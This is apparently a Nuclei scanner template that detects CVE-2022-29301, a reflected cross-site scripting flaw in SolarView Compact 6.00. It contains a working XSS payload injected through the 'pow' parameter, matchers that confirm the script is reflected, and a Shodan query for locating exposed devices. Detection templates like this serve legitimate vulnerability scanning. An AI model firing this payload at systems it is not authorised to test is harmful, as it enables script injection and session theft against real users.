id: CVE-2022-29301

info:
  name: SolarView Compact 6.00 - 'pow' Cross-Site Scripting
  author: For3stCo1d
  severity: high
  description: |
    SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'pow' parameter to Solar_SlideSub.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of SolarView Compact.
  reference:
    - https://www.exploit-db.com/exploits/50968
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29301
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cve-id: CVE-2022-29301
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-244067125
  tags: cve,cve2022,xss,solarview,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&bgcolor=green'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script><"">'
          - 'SolarView'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c7959da3a17fed228903886d0b2f1755b6b3b84867b64da717e51ae05bb713e9022006af70c122e997f0c79bbd85313d9c20802c5f9371469536f6e7ef1743bb0483:922c64590222798bb761d5b6d8e72950